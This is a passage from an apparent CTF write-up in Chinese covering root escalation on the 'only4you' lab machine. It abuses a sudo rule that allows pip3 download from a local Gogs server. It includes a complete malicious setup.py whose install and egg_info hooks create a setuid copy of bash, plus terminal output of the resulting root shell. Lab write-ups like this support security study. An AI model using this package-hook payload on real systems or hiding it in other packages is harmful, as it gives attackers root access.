john的home目录就能拿到user flag。

提权到root

1
2
3
4
5
6
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

我们发现john有无密码执行/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz的权限。我们之前已经发现3000端口是一个gogs服务,我们该怎么利用呢?不管怎么说,先搜一下pip3 download exploit再说。

谷歌一下就能发现,pip3 download存在代码执行的漏洞。Pip Download Code Execution。那就来作用了,我们按着这个漏洞的POC操作一下。

1
2
3
4
5
6
mkdir exp
cd exp
vim setup.py
mkdir src
touch src/__init__.py
echo 'print("hello")' > src/main.py

setup.py的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info

def RunCommand():
# Arbitrary code here!
import os;os.system("cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash")

class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)

class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)

setup(
name = "exp",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)

然后python3 -m build一下,会在dist目录下生成exp-0.0.1.tar.gz。

然后我们传到gogs上,再执行一下sudo就搞定了。

Gogs的登录密码就用john的登录凭证,密码复用真是方便。直接进行一个文件的传。直接传到现有的Test的仓库就行,新建一个也行,但是反正速度要快,速度慢了仓库会被自动清掉。

0ef25abd4e0ea108b75ef97c0535242a

然后还没收工,如果随便选一个地方pip download你会发现会报错,要先把仓库clone现在,在里面操作才行。

错误:

1
2
3
4
5
john@only4you:/tmp$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz
ERROR: HTTP error 404 while getting http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz
ERROR: Could not install requirement http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz because of error 404 Client Error: Not Found for url: http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz
ERROR: Could not install requirement http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz because of HTTP error 404 Client Error: Not Found for url: http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz for URL http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz

正确:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
john@only4you:/tmp$ git clone http://127.0.0.1:3000/john/Test.git
Cloning into 'Test'...
Username for 'http://127.0.0.1:3000': john
Password for 'http://john@127.0.0.1:3000':
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 6 (delta 0), reused 0 (delta 0)
Unpacking objects: 100% (6/6), 1.47 KiB | 300.00 KiB/s, done.
john@only4you:/tmp$ cd Test/
john@only4you:/tmp/Test$ ls -la
total 20
drwxrwxr-x 3 john john 4096 Jul 24 13:37 .
drwxrwxrwt 35 root root 4096 Jul 24 13:37 ..
-rw-rw-r-- 1 john john 1016 Jul 24 13:37 exp-0.0.1.tar.gz
drwxrwxr-x 8 john john 4096 Jul 24 13:37 .git
-rw-rw-r-- 1 john john 12 Jul 24 13:37 README.md
john@only4you:/tmp/Test$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/exp-0.0.1.tar.gz
File was already downloaded /tmp/Test/exp-0.0.1.tar.gz
Successfully downloaded exp

我们回到tmp里面就会看到我们的rootbash了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
john@only4you:/tmp$ ls -la
total 13488
drwxrwxrwt 35 root root 4096 Jul 24 13:38 .
drwxr-xr-x 17 root root 4096 Mar 30 11:51 ..
......
-rwsr-sr-x 1 root root 1183448 Jul 24 13:38 rootbash
......
john@only4you:/tmp$ ./rootbash -p
rootbash-5.0# id
uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),1000(john)
rootbash-5.0# whoami
root
rootbash-5.0# cd /root
rootbash-5.0# ls -al
total 48
drwx------ 5 root root 4096 Mar 30 12:10 .
drwxr-xr-x 17 root root 4096 Mar 30 11:51 ..
lrwxrwxrwx 1 root root 9 Nov 30 2022 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root neo4j 4096 Mar 14 11:19 .cache
-rw------- 1 root root 35 Mar 30 12:10 .lesshst
lrwxrwxrwx 1 root root 9 Dec 8 2022 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r----- 1 root root 33 Jul 24 07:58 root.txt
drwxr-xr-x 2 root root 4096 Mar 30 11:51 scripts
drwx------ 2 root root 4096 Mar 29 09:56 .ssh
-rw------- 1 root root 12283 Mar 30 10:59 .viminfo
rootbash-5.0#

成功拿下。

总结

这台机子综合考察了代码审计能力以及对文件包含漏洞需要查看哪些敏感文件的理解,还要求我们掌握内网穿透以及内网服务发现能力。考察的面还是比较广的,有些难度。